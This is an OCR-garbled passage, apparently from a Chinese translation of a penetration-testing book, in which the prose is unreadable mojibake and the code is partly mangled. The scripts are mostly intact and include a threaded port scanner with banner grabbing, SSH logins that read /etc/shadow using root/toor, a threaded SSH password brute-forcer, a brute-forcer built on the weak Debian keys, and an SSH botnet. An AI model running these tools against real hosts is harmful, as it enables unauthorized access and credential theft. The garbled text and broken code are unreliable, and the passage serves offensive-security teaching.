HgaENE |, BIRFIFRME—EO/ IP #ttFZ,

socket.socket([family[, typel, protoll]) : IXMNREUG=E—NFHY socket , BITLETE
B4 socket HHHFEFD socket 28U | HMIHERITTLAZE AF_INET(BAIA),AF_INET6 &
£ AF_UNIX,

59, socket REIBTLLUA—A TCP E##=B) SOCK_STREAM(ERIN) , SER
UDP E #£=H) SOCK_DGRAM , S EHMMNERFRE., REMNSEEANT  £AZ
# Bn T EIRAS.
socket.create_connection(address|, timeout|, source_address]] : X MREUEN—
B IPiE WFNIR OSSN —IooEiREl— socket 398 |, HANEKRTLAUSIFEBITEIE,
GE XA EREIEL socket.connect)ENNERETLAFES IPv4 F1 IPV6),

7T B RIIEERA IR TCP in D1 MRsAY TR , HAIGRIA D ABRNEER
—E—SHNEHENTRIOINBE. 52, BNEMABREVSMNESm
ERmO7IZR. 28 BIIBESBirEI 52 BirrIWeE IP ik, B
F7IREENE—MNrAXEZB Rt | REHERO DS THRFRIRS.
HA NS KIERERVETE | FREBEEN FAREFRERYRR.

FEFAIRIE L, FHNMNBPIMEZENEMimO. FLENNERSFIA
optparse tRAEERFTES1TIEIN , A optparse.OptionParser()GllgE—1
IO HTEs |, SASIEIT parser.add_option()RECRISEMSEIN. (GF
optparse IRTE 2.7 IRASBHEF AL AEEEIER , 25 argparse &R
&N ) TEGFER T —MRURENT BiaE A #m O A.

optparse

parser = optparse.OptionParser('usage %prog —H <target



host> -p <target port>")

parser.add_option('-H' ="tgtHost'
='specify target host’)

parser.add_option('-p’ ="tgtPort'
='specify target port’)

(options, args) = parser.parse_args()

tgtHost = options.tgtHost

tgtPort = options.tgtPort
(tgtHost == ) | (tgtPort ==
(parser.usage)

(0)

(tgtHost)
(tgtPort)

TR, B IBHEIE N EREEL connScan #1 portScan,portScan REEETH,
BHROEASE. TEEEIRIET gethostbyname()FEN R IFHIENIE
MR IP Metl, BETR , EASHTENHEN RN IP it , PAEHCEE—
ANEO2eRE R connScan BEFSEE T, connScan BRHEEHE NS :
tgtHost and tgtPort ,

HEXE—1 2 BirENinOANEZE. RAIHANE , connScan E+TEDix
OFBMENEE | NEREMANE | S TENROXTRIEE.

optparse

socket



connScan(tgtHost, tgtPort):

connSkt = socket.socket(socket. AF_INET
socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
('[+]%d/tcp open' % tgtPort)
connSkt.close()

'('[—]%d/tcp closed' % tgtPort)
portScan(tgtHost, tgtPorts):
t.gtIP = socket.gethostbyname(tgtHost)

("[-] Cannot resolve '%s': Unknown host" %

tgtHost)

tgtName = socket.gethostbyaddr(tgtIP)
("\n[+] Scan Results for: ' + tgtName[0])

("\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
tgtPort in tgtPorts:
('Scanning port ' + str(tgtPort))

connScan(tgtHost (tgtPort))




portScan(‘www.baidu.com’, [

IR R FtRIA

AT NSRBI BIRENRIRBIRR |, B4 NE BTN RE!
connScan &, —BEAMFAKRA , FiIRE—N2FFREUREXNin
OAEEFRAN, WXL FHERTI REREENE TR BinEin O _EAIRT
REEFH—EEE.

optparse

socket
connScan(tgtHost, tgtPort):

connSkt = socket.socket(socket. AF_INET
socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n")
results = connSkt.recv(100)
('[+1%d/tcp open' % tgtPort)
('[+] ' + str(results))

connSkt.close()

('[-1%d/tcp closed’ % tgtPort)




portScan(tgtHost, tgtPorts):

tgtIP = socket.gethostbyname(tgtHost)

"[-] Cannot resolve '%s': Unknown host"
%tgtHost

tgtName = socket.gethostbyaddr(tgtIP)
("\n[+] Scan Results for: ' + tgtName[0])

("\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
tgtPort In tgtPorts:
(‘Scanning port ' + str(tgtPort))
connScan(tgtHost (tgtPort))

main():

parser = optparse.OptionParser(‘'usage %prog —H

<target host> -p <target port>")

parser.add_option('-H' ="tgtHost' ='string’
='specify target host')

parser.add_option('-p' ="tgtPort’ ="Iint’
='specify target port’)

(options, args) = parser.parse_args()

tgtHost = options.tgtHost




tgtPort = options.tgtPort

args.append(tgtPort)
(tgtHost == None) | (tgtPort == None):
('[-] You must specify a target host and port[s]!')

exit(0)
portScan(tgtHost, args)

__name__ =="' _main__":

main()

Bl , FAE— AR, LINREERERNER

e/ViolentPython/2PenetrationTest$ python Scan_simple.py -H www.qq.
443 445

s for: 140.206.160.207

AJLAEZ B ENAIF R OFEMAIRSIRA |, BLUSHIANETHSRAZRIX

oz

R/Sho

ZEiEE



E 98— socket ZBBERIEIREIR , &— socket IFEENEG AR LAVE , &
RERRTERE , (BERURE(AESZ N OFENIDR RIS TVEE X,
IBEERT , BB EIXL socket =7, 5| Python ZF2, ZFEiR(
T—HMEEITHAR. ERBMIETRIPERE  JEE
portScan()EREHNERH—T. BER , FTTLUESG—1 connScan()RELED
HHER—ERR. EEANEEFR=ERNE— MRS ERHIT.

for tgtPort in tgtPorts:
print('Scanning port ' + str(tgtPort))

t = threading.Thread(target=connScan, args=(tgtHost,
int(tgtPort)))

t.start()

SEFEMRE LA MR T BEENE | BREBE— A | FHiIA9REL
connScan(}JENERR LHIN B INR ST R ZIFTENRNETT ses HEL
BLF. ATILRSERREHES  RITFERESE. —NMERIES
ENFEINRET — PSR LEE SIS HN, FREFTEEE 2], Fi)eh
—/NifsEFE screenLock.acquire()SRANEE. WIRBHTH | EESEFRITFLEEM
SHS(TAASTIENEE | RBE |, RIVEEFEIEHESSERHERMEL. 7
BESE , HIITLMREEEENENRBRE— MR THERRL. &
BINNSELERREY |, EERZANEER FEACIEHR,

screenLock = threading.Semaphore(value=1)
def connScan(tgtHost, tgtPort):
try:
connSkt = socket.socket(socket.AF INET, socket.SOCK STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n’)
results = connSkt.recv(100)

screenLock.acquire()



print('[+]%d/tcp open’ % tgtPort)
print(‘'[+] ' + str(results))
except:
screenLock.acquire()
print('[-]1%d/tcp closed' % tgtPort)
finally:
screenLock.release()

connSkt.close()

BRrERIIIRERSTE—IE , Bl ERREN RO =S,

optparse
socket
threading

screenLock = threading.Semaphore(
connScan(tgtHost, tgtPort):

connSkt = socket.socket(socket. AF_INET
socket.SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))

connSkt.send('ViolentPython\r\n")

results = connSkt.recv(100)



screenLock.acquire()
('[+]%d/tcp open' % tgtPort)

('[+] ' + str(results))

screenLock.acquire()
('[-1%d/tcp closed' % tgtPort)

screenlLock.release()
connSkt.close()

portScan(tgtHost, tgtPorts):

tgtIP = socket.gethostbyname(tgtHost)

"[-] Cannot resolve '%s': Unknown host"
%tgtHost

tgtName = socket.gethostbyaddr(tgtIP)
("\n[+] Scan Results for: ' + tgtName[0])

("\n[+] Scan Results for: ' + tgtIP)
socket.setdefaulttimeout(1)
tgtPort In tgtPorts:
(‘Scanning port ' + str(tgtPort))
t = threading.Thread( =connScan
=(tgtHost (tgtPort)))




t.start()

main():
parser = optparse.OptionParser(‘'usage %prog —H
<target host> -p <target port>")
parser.add_option('-H' ="tgtHost' ='string’
='specify target host’)

parser.add_option('-p' ="tgtPort' ="Int’

='specify target port’)
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)

(tgtHost == ) | (tgtPort == ):

('[-] You must specify a target host and port[s]!")
(V)

portScan(tgtHost, args)

_name__ =="' _main_":

main()

BITIXMHA , BIWEER—TER



lolentPython/2PenetrationTestS python Scan_thread.py -H www.qq.

[+] Scan Results for: 140.206.160.207

Ecanning port 21

Scanning port 25

Scanning port 443

Scanning port 53

Scanning port 80

[+]180/tcp open

[+] HTTP/1.1 400 Bad Request

Server: squid/3 1
e eb 2015 03:17:45 GMT

Tue, 17 Fe
Content-Type: te
[-]125/tcp closed

hao=1-]

#58 Nmap 1=

BAIRIERIFIFRAE T — MRERIT TCP IR, XATRESBREIFA T
ERSMIGITHE |, a0 ACK, RST, FIN, or SYN-ACK % Nmap T E B FFRHHIH.
BXLF ER—MRERNIETES , iR THEISNIEE  XHMsIHTHET ,
BT 2AMER Nmap TREST ? A Python BRSPS, =
Fyodor Vaskovich 485 Nmap B4 7T C1E5#0 Lua A, Nmap Beig#4E
BAREBAYEERLE Python A1, Nmap F=4E455 XML AY%EIH | Steve Milner #1
Brian Bustin 4857 Python §9 XML f#tfrE. ST (1B Python FlIfE5E
EIheeRY Nmap B9BE]. EFHAZAT , {RIIEEE python-nmap & , {REEM
http://xael.org/norman/

python/python-nmap/%%: python-nmap e, HRIREIREIIIN 7 AR/
Python2.X & Python3.X [RZ,

EZAIEEER



HitiBR9im 334

EISREE—LE MR | BAT(IRZA TCP EIHFEIEENTE |
EEHENERAETRSIRE. BRREREEIEMI— LR R RAiR O
il

TCP SYN 13 : XFRASFREAE , XASREATEEAIE—1 SYN AY

TCP iEEHBFFA , HiR[E| RST HyREFRIROAXA | RE ACK #iEE
Fim T,

TCP NULL 34 : TCP =R E TCP AUIREL AT, WRIRE—1 RST £
FERENFRRX MR Z2XE.

TCP FIN 34 : TCP FIN 3f#E&iX— FIN 8388 , EXRAER |, S
Ei#aY2R1E , SNSRIRE] RST FEENFRRHO XA,

TCP XMAS $3i#i : TCP XMAS $3##iR & PSH, FIN,#1 URG TCP =&AL , 1
IR[E RST FiEBNRTX MNE XA,

Python-nmap FEZES , FATMEATLISAN nmap ERIEAINBIASAR
A8 python BIAIZ T nmap 13§ , FECIE— PortScanner()2RRYSLH)
FREBITRAINREESR. 1ZEKE—1 scan(REY , ZFZ 34 IP it niwO/E
BN, ARETEERR nmap 3. 15, FATTRS ISR TR
RS, LA nmap 1334

optparse

nmap

nmapScan(tgtHost, tgtPort):

nmScan = nmap.PortScanner()

results = nmScan.scan(tgtHost, tgtPort)



state = results['scan'][tgtHost]['tcp'][int(tgtPort)]['state’]
(" [*] " + tgtHost + " tcp/" + tgtPort + " " + state)

main():
parser = optparse.OptionParser(‘'usage %prog —H
<target host> -p <target port>")
parser.add_option('-H' ="tgtHost' ='string’
='specify target host’)
parser.add_option('-p' ="tgtPort' ='string’
='specify target port’)
(options, args) = parser.parse_args()
tgtHost = options.tgtHost
tgtPort = options.tgtPort
args.append(tgtPort)
(tgtHost == ) | (tgtPort == ):
('[-] You must specify a target host and port[s]!")
(0)
tgport In args:
nmapScan(tgtHost, tgport)

1 1,

__name__ ==' _main__":

ZTHAIRY nmap FERIA |, BATTLIEZ] nmap SHGTEERTERER

dij@ ylentPython/2PenetrationTest$ python Scan_nmap.py -H 140.206.1




32— SSH RYEFRILE

W | HINELEE T —Nn SRS E R |, BT LFHEFIRE
RESRENES T, RRIRRESTERNAFRZNEE |, BIEOMmAEER
IEFEiERE B RAY shellRSH) , SEFARHRN=MITEHEZ—. 1988 F,
RSH 1Rt 7T —MiliFRY ( BT R R ) BiERATRAEERRIEEERTTE
MFHEHE  ANIEEN LT —REIINEiRHS. T2/ shell(SSH)INYE
LT RSH 1Y, BId#& RSH S R PERBARRRBIRETE. A |,
XRBELET MY AERERNAFRSIEBNE DR EAKERE.

SSH IZREEHIERRIFE IR IENNKERE. BERIITRE—XY
www.violentpython.org #Y SSH BIEERIANRIGN(IDS) HE., X , BEEI
B UCLAQIFIERILAFBIZUSOR) . i , matrix IKFIEERINEE, X
LI R EWANEE. FERIR | IDS FREIREER IP i EsEH SRS
RS LT ITEH—PRY SSH BEfhEi.

Received From: violentPython->/var/log/auth.log

Rule: 5712 fired (level 10) -> "SSHD brute force trying to get access
to the system.”

Portion of the log(s):

Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from
67.228.3.58

Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from
67.228.3.58

Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from

67.228.3.58



Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from
67.228.3.58

Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from
67.228.3.58

Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from
67.228.3.58

Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from

67.228.3.58

1&g Pexpect 5 SSH #1738

(iE : Pexpect 2 Don Libes Ay Expect iESAI— Python sCH , 2— 1 H

XREohFER | FHERENRAEFBHMEEFEmA , LUSTISHEE

B/ Python 18R, Pexpect BYERSEERS , AJLARREILS ssh. ftp
. telnet FREFIEMRE ;| AILAARBEMEHHH =B A TR =B

T4 ; A LARSRSEIAR I Sas 1T ERIB M )

AL B CHNEsMUERES Z R EREFERE. B SSH ZFin
RERAPIRE , BN A/REFFILERRERIMA | EREHF R
NS Zal. EE—TLUTHIES , ATEERAIRYIP k) 127.00.1 8
SSH #1288 , BN AEFERIIIA RSA B0 , IEXMIERT , HIIUM
[BI% "yes” ZBedrsL, HENAREFEXREIVMAER. =a BTN
&< “uname -a" FHFEBIFIESANEITHRA.

attacker$ ssh root@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can’t be established.
RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5¢:39:a3:68.

Are you sure you want to continue connecting (yes/no)? yes



Warning: Permanently added '127.0.0.1' (RSA) to the list of known
hosts.

Password:*#xtkktiktir

Last login: Mon Oct 17 23:56:26 2011 from localhost

attacker:~ uname -v

Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011;

root:xnu-1699.24.8~1/RELEASE _X86 64

AT XM RZRERNNESE | FAMEFTOFIRE S Pexpect BUE=75
Python #&5R(BTLAZ! http://pexpect.sourceforge.net &), Pexpect BFIFE
FFaZERIEES] , ASHFREARYEE | AASETERMH AL , XEEEkAE
SZEIERE SSH AR EIER— MRFRI TR,

KE connect()BREN , XNMEREGRWAFE | EVBFES , FHRE—D

SSH & , MMEEIKERY SSH &%, FIFE Pexpect &R , HEFEEF— Tl
i, B= 1M RmHSEI---—NEN , —MERRTXANENE—
FOAHZESE | BRI EBRHRAER. NREREEN
session.expect(EREMERIRE 0 , FE T RIEFREDEHXNMNHDREIZFIFT
EI—MEIRER. WR child.expect()REGHIEEI—1 ssh_newkey E2. , ftB
BiRE] LIXBBERERIE—TNER "yes” KEZXH key, F K, BREN
FERIEFBZ IS EFEEIRET.

import pexpect

PROMPT = ['#",'>>> ", "> ", "\$ ']

def send_command(child, cmd):
child.sendline(cmd)

child.expect(PROMPT)



print(child.before)
def connect(user, host, password):
ssh_newkey = 'Are you sure you want to continue connecting’
connStr = 'ssh ' + user + '@"' + host
child = pexpect.spawn(connStr)

ret = child.expect([pexpect. TIMEOUT, ssh_newkey,
'[P|plassword:'])

if ret ==0:
print('[-] Error Connecting')
return
if ret ==
child.sendline('yes")
ret = child.expect([pexpect. TIMEOUT, '[P|p]lassword:'])
if ret ==
print(‘'[-] Error Connecting’)
return
child.sendline(password)
child.expect(PROMPT)
return child

—EESME , MERATTLUMER— T ERIRAIRE commend () &iXas <4
SSH 21&, commend()R#EZ— SSH S1EMGSFRBERRN. A
RIZABLSFIIERL SSH 2E | FEwRT. MiERlenSEmE/M SSH=

TEFFTENHI .,



import pexpect

PROMPT =['#"','>>>",'>","\$ ']

def send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)

print(child.before)

B—IREE—E , WEFAE T eEERAEHE SSH 22 BRIMAT .

_author__ ="'dj'

pexpect
PROMPT =['#"','>>> " "> " "\$ ]
send_command(child, cmd):
child.sendline(cmd)
child.expect(PROMPT)
(child.before)
connect(user, host, password):

ssh_newkey = 'Are you sure you want to continue

connecting’
connStr = 'ssh ' + user + ‘@' + host
child = pexpect.spawn(connStr)
ret = child.expect([pexpect. TIMEOUT, ssh_newkey

'[P|plassword:'])



ret ==

('[-] Error Connecting’)

ret ==

child.sendline('yes')

ret = child.expect([pexpect. TIMEOUT, '[P|p]assword:']
ret ==

('[-] Error Connecting’)

child.sendline(password)
child.expect(PROMPT)
child
main():
host = 'localhost'
user = ‘root’
password = 'toor'

child = connect(user, host, password)

send_command(child, 'cat /etc/shadow | grep root')

__name__ ==' _main__":

main()

BITXNAR, FAITUBRIFATTLUERER— SSH IRSES | FinfeizslE
NEW. BATEIEERAIGSIA root B3RV etc/shadow X4 ERIAFH
RS, MARLMERXAN T EM—LERIBIERE | LB woet TEISE
TE. {RalLATE Backtrack i@Iig4ERL ssh-keys k550 SSH IRSS. =idiEa0
SSH iRS32% | AERAXMIAXEEE.



attacker# ssh-kengen

Generating public/private rsal key pair.
<..SNIPPED..>

attacker# service ssh start

ssh start/running, process 4376
attacker# python sshCommand.py

cat /etc/shadow | grep root

root:$6$ms32yIGN$NyXjoYofkK14MpRwFHvXQWOyvUid.slJtgxHE2E

uQqgD
74S/GaGGs5VCnqeC.bSOMzTf/EFS3uspQMNeeplAc.:15503:0:9

9999:7:::

B1d Pxssh ®F#% SSH 2513

EERE— MR ERILERNEINRANN THE T pexpect HHH98E |, BF
ITETLAR4 2 BIROBIAFI A pxssh &R, Pxssh 2 Pexpect fEHHsAIMIA |,
ERLIERS SSH SIE#HITRE |, BEitEXH
login(),logout(),prompt()E&i#L. A pxssh &R , BT8R ZRIRY
K15,

import pxssh

def send_command(s, cmd):
s.sendline(cmd)
s.prompt()

print(s.before)



def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login(host, user, password)
return s
except:
print '[-] Error Connecting’
exit(0)
s = connect('127.0.0.1', 'root’, 'toor’)

send_command(s, 'cat /etc/shadow | grep root’)

EAIBUHARRETRL 7. HIIREENRA IR AT EE S GEERE DA
SSHIAIE, FRTIEIN—LETUETENS , BRaFfIEEXXY | BIE—EM
HELERRIES—T connect()RE. R login(\REINEILRBFHFERNE |
BV IELBRRRIERS , REEFE2RHRERR. B , F1EHEE
S, WRSEETREE "refused” |, BAFNIEZIHER , BiZRE, A,
WNERFE BN socket EfEF “read_nonblocking” , EATATLMRIZXA

SSH IR e8I T ERAIERES] . ReH(ISER/ I ERXEHIERENEEERE.
b, NRFEER pxssh LR EG SRR . Bl VEHER —=EEhE3RE
ST M. EETRRIERIIEE—M/RERE connect(HRESHRH,
connect()ERELRTLABFAIERERY connect()BREY , FNEEEAETLIE
BEESIES E.

pxssh

optparse




time

threading

maxConnections =

connection_lock =

threading.BoundedSemaphore( =maxConnections)
Found =

Fails =

connect(host, user, password, release):

Found, Fails

s = pxssh.pxssh()

s.login(host, user, password)
('[+] Password Found: ' + password)
Found =
e:
‘'read_nonblocking' (e):
Fails +=
time.sleep(5)
connect(host, user, password )
'synchronize with original prompt' (e):
time.sleep(1)
connect(host, user, password

release:
connection_lock.release()




main():

parser = optparse.OptionParser('usage%prog '+'-H

<target host> -u <user> -f <password list>")

parser.add_option('-H' ="tgtHost' ='string’
='specify target host’)

parser.add_option('-f' ="passwdFile' ='string’
='specify password file")

parser.add_option('-u’ ='user’ ='string’
='specify the user’)

(options, args) = parser.parse_args()

host = options.tgtHost

passwdFile = options.passwdFile

user = options.user

host == passwdFile ==

(parser.usage)

(0)

fn = (passwdFile, 'r')

line in fn.readlines():
Found:
"[*] Exiting: Password Found"
(V)
Fails >
"['] Exiting: Too Many Socket Timeouts"
(0)
connection_lock.acquire()

password = line.strip("\r').strip("\n")




("[-] Testing: " + str(password))

t = threading.Thread( =connect =(host

user, password )))
t.start()

=i SSH ZEENEFSRWAEEE—TER, XREBIETRUNEBS
“alpine” , X2 iPhone IREFRIBVAREND, 2009 FK , —* SSH IFRIY

&7 iPhone, BEMAAAY iPhone %% , FIFEETE iPhone EF/E

OpenSSH BRSS. MIXHIERRIFEEIHII T —LRBREIAR. TR

iKeee FIXMHIERESIHAROABBINEIRES. ZIBRAFETEAXME

HRIEEIRIAR |, (EZ4BMIEH iphone RIS RE /9 Rick Astley BIE /-, FBf

+—aiE “ikee never gonna give you up” .

attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt
[-] Testing: 123456789

[-] Testing: password

[-] Testing: 1234567

[-] Testing: alpine

[-] Testing: passwordl

[-]1 Testing: soccer

[-] Testing: anthony

[-] Testing: friends

[+] Password Found: alpine



[-] Testing: butterfly

[*] Exiting: Password Found

Bid 55 % AFIA SSH

THSIRALT SSH IRSAI—FSIESTL , BXARE—FNESIES . s,
SSH iR f&d 7 BAM—MIQIETTT0--- AR, EXMER T, RS|[AMENE
FAFNiEFATA. (£ RSA BiE DSA INERL | IRSS=R7/9E0 SSH RIABF4E
IRVETE, BE |, XRE T —MWRIFRYISIESTl. B4R 1024 (7,

2048 {uak#E 4096 (VRIETH | (EHARMERSS A< R,

#AM , £ 2006 £F Debian Linu AORITIRARE T —LEBNERE. —MFRE
T — TSR BEHNS T TEKEIRINE. KBARFETHRIE SSH 258~
R, B HRARBAEET , BRI R E 15 08 ANUE
15 (0 | XMEREBNEEZREE 32767 MER.

HD Morre , CSO %1 Rapid7 RYRIRIHT , 5% T 1024 {F0 2048 (IHIFTHE
E5E , TR INTLAR, Sk, ffEIXLemH

debian_ssh_dsa_1024 x86.tar.bz2 RJLAB{T F&k. {RAJLASETE 1024 789
210 , AERBESR | MRAHER , BARFEAAZRRNIHIEE,

attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2
attacker# tar -xf debian_ssh_dsa_1024 x86.tar
attacker# cd dsa/1024/

attacker# Is
00005b35764e0b2401a9dcbca5b6b6b5-1390
00005b35764e0b2401a9dcbca5b6b6b5-1390.pub
00058ed68259e603986db2af4eca3d59-30286

00058ed68259e603986db2af4eca3d59-30286.pub



0008b2c4246b6d4acfdOb0778b76c353-29645
0008b2c4246b6d4acfdOb0778b76c353-29645.pub
000b168ba54c7c9c6523a22d9ebcad6f-18228
<..SNIPPED..>

attacker# rm -rf dsa/1024/*.pub

XNBEREL T REZ AT HREARRI. AL, BHE=52008E5589 SSH iR
Far. WRFAIEEE—LTERFIAXNEEHE 7. M, AT hHEEH
Z[E] , AIREEE— VA Python BIASKRE NiREG 32767 NEIRA T IRIE—D
ToERS |, KL E5ARY SSH ARS388. St b, Warcat /NASTIXAFRIIIA |
HiEE LERT milwOrm , SiERE#M A=K, Exploit-DB 7Y
Warcat /NMERIRIA |, 7E http://www.exploit-db.com/exploits/5720/kih L,
2, HNEREIAIECHHE |, FIRAXREZEEIEEIIRY

pexcept &R,

S5ESEMX A AFNER BB N ERBIAUEIERE L. 7 BESBIAUE SSH |, 3
INEEH A ssh user@host -i keyfile —o PasswordAuthentication=no,
ETENEARS , HNBERNIRECERIFAREIIIERE. WNREEKD

BB TEN RN BFERRE L. Wb, RIVERER I 2BEE

Stop # Fails , Fails ERATFHIHE NTEENKAEETTSEBNEREKBRIE
2, NRHGEET 5, FAVERIMA, NRFAIFFHE/E T7ImZ IPSINE
PO E L) PR LEFA RUERS | BBARIKBREMNMEIT R, il Stop 2BTER
—Mo/RE , SFRAIEERM 7T —1ER |, main(RELiRBVEBREH
HERGHTE.

pexpect

optparse



oS

threading

maxConnections =
connection_lock =
threading.BoundedSemaphore( =maxConnections)
Stop =
Fails =
connect(user, host, keyfile, release):

Stop, Fails

perm_denied = 'Permission denied’

ssh_newkey = 'Are you sure you want to continue’

conn_closed = 'Connection closed by remote host'

opt = ' -0 PasswordAuthentication=no'

connStr = 'ssh ' + user + '@" + host + ' -i ' + keyfile
+ opt

child = pexpect.spawn(connStr)

ret = child.expect([pexpect. TIMEOUT, perm_denied

ssh_newkey, conn_closed, '$', '#', 1)

ret ==
('[-] Adding Host to ~/.ssh/known_hosts')
child.sendline('yes")
connect(user, host, keyfile
ret ==
('[-] Connection Closed By Remote Host')




Fails +=
ret >
('[+] Success. ' + str(keyfile))
Stop =

release:
connection_lock.release()
main():
parser = optparse.OptionParser('usage%yprog -H
<target host> -u <user> -d <directory>")
parser.add_option('-H' ="tgtHost' ='string'
='specify target host’)
parser.add_option('-d' ='passDir’ ='string’
='specify directory with keys')

parser.add_option('-u’ ='user’ ='string’

='specify the user')

(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
e NIEE passDir ==
(parser.usage)
(V)
filename in os.listdir(passDir):
Stop:
('[*] Exiting: Key Found.")
(0)




Fails >

(‘'['] Exiting: Too Many Connections Closed By

Remote Host.")
('['l Adjust number of simultaneous threads.")
)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
('[-] Testing keyfile ' + str(fullpath))
t = threading.Thread( =connect =(user
host, fullpath )
t.start()

WX BEREN , FAIEEZFNBRE T IRARSATHIIPR, 205 1024 (789
ZRIRA =T E 2048 (ZAYER , RERRISIUER.

attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024

[-]1 Testing keyfile tmp/002cc1e7910d61712claa07d4a609e7d-
16764

[-]1 Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361

<..SNIPPED..>

[-]1 Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176-
27637

[-]1 Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448



[-]1 Testing keyfile tmp/003add04ad7a6de6cblac3608a7c¢c587-29168
[+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637
[-]1 Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516

[*] Exiting: Key Found.

1352 SSH 9= FRILE

MAEFKAIELTLAUBET SSH #=H—1E |, T KERERIZEEN.
WEEZ BN A—RYIRIRBERENRH TEERT. HIFRXZEEFK
2%, EAXLEHEISRYFE KA T AGRER —H T <.

NTHTRRNIEFMLE , FIPESIN—1HIES---class, class BIHESAE
NEANRBENEMGE. EXNESRT , HIILA SRR SR,
RTEANOEFNE , BNMEFSHEZFPIEERGERNAXmSHIEES.

# coding=UTF-8
import optparse

import pxssh

class Client:
def __init__(self, host, user, password):
self.host = host
self.user = user
self.password = password
self.session = self.connect()

def connect(self):



try:
s = pxssh.pxssh()
s.login(self.host, self.user, self.password)
return s
except Exception as e:
print(e)
print('[-] Error Connecting')
def send_command(self, cmd):
self.session.sendline(cmd)
self.session.prompt()

return self.session.before

HBERBEMIIERNSR Clinet(). ATEIEF, BIOFELNE  AFRE
EREEER, o, RESNITIEERESHF— & iR---connect(),
sned_command(), alive(). i£& , ZEAIBIN—PEZER , BBETE , FiT&E
i slef KSIAXNEE, ATHREFWE , I T ERIEERF
79 botnet XNMYEB S TAERIERENSR. #Tk , BIOEL—GE, &
79 addClient)EFZENE , BRRNEBASE , LHIK—NERNSRAG
KERIIE botnet #ZHH. T—2 , botnetCommand()5iAZEZan <SS,
XANTEBPEENE—NER | B —MNERNEFIRESS,

HIERIEF ML

HEZ=4H70 Anonymous , JBEXABEENEF MNERIGMIIAVEA. AT’
FHRARE | XMETARERMIIFIMR TEH —1N 2N LOICHTE.,
H—PER , INEERRIAR A — 2 U EIE P BB T RG]
KB, BAREIEER , Anonymous HANRTHEEEE T —E3|AiFE



RIFNZEE ERIRIB SR, EROA—MEES | BITRIEREMNLE
Anonymous FIFFBERERFNEER T RO TEE) LEBERIFEIIMNEEN.

optparse
pxssh

Client:
( host, user, password):
.host = host
.user = user
.password = password
.session = .connect()

connect(self):

s = pxssh.pxssh()

s.login(self.host .user .password)

)

(e)
('[-] Error Connecting’)
send_command( cmd):
.session.sendline(cmd)

.session.prompt()

.session.before



botnetCommand(command):
client in botNet:
output = client.send_command(command)
('[*] Output from ' + client.host)
(‘'[+] " + output + "\n’)

addClient(host, user, password):
client = Client(host, user, password)

botNet.append(client)

botNet = []

addClient('10.10.10.110', 'root’, 'toor?)
addClient('10.10.10.120’', 'root’, 'toor")
addClient('10.10.10.130’, 'root’, 'toor")

botnetCommand(‘uname -v')

botnetCommand('cat /etc/issue')

BYEEIENAE |, BA)E2 TENREEFMESRHAE, XREHT—
WIFRERIABENAITE. AT |, FAIEMT 3 & Backtrack5 AIREHL
FHUEABR. BB AED =8 HKEmSEENEE
&. SSH EFNBIEMMAZEENGRSS. T—HHAIEPEEERS
MEMER , BIIRISHIIRS RSB — M ER L — IR,

Bid FTP %#% WEB KSi&



ERAN—REXRAHRES | HHRA k985ytv INESE | FREZT AR
FTP 4ZiE , 3X187 22400 /M%ZF0 536000 #HRRAITAE. FIRERGAE , I8
HEIEN Javascript ({15 , EFRIEREERZISR=RANTERE. —B
R RAHIRS SFWMEEMEIEBRINGG , TENENSSAEZEEBRPLER
RERmERY , ASRZEEENEAFER. K985ytv IEHEEIE TEX
RI9RKT. FETFEMNETSH , MG Python KELXMIKE,

MEZRRFSSEN FTP B, RIVEEIRRTAHAE. —NEHMA
R BiRE A CEE S S — 85 indexhtm MBUAER, #THEK
EHE HET—NFH0 index.htm TUH , ATAEESTENEEAMA, ZRRH
BR53 8815 BRI B8 & T A0 HEE5 2 Al

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "LIST /

folderthis/folderthat/" 226 1862

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "TYPEI"

200 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "PASV"

227 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "SIZE

index.htm" 213 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "RETR

index.htm" 226 2573



204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "TYPEI"

200 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "PASV"

227 -

204.12.252.138 UNKNOWN u47973886 [14/Aug/2011:23:19:27 -
0500] "STOR

index.htm" 226 3018

AT B RIEBXIINERIIREE. Tl IR —K FTP BF=. X4
&5 FTP BRSSP E—NET TCP MBRIENZ AEm . BEBTT |
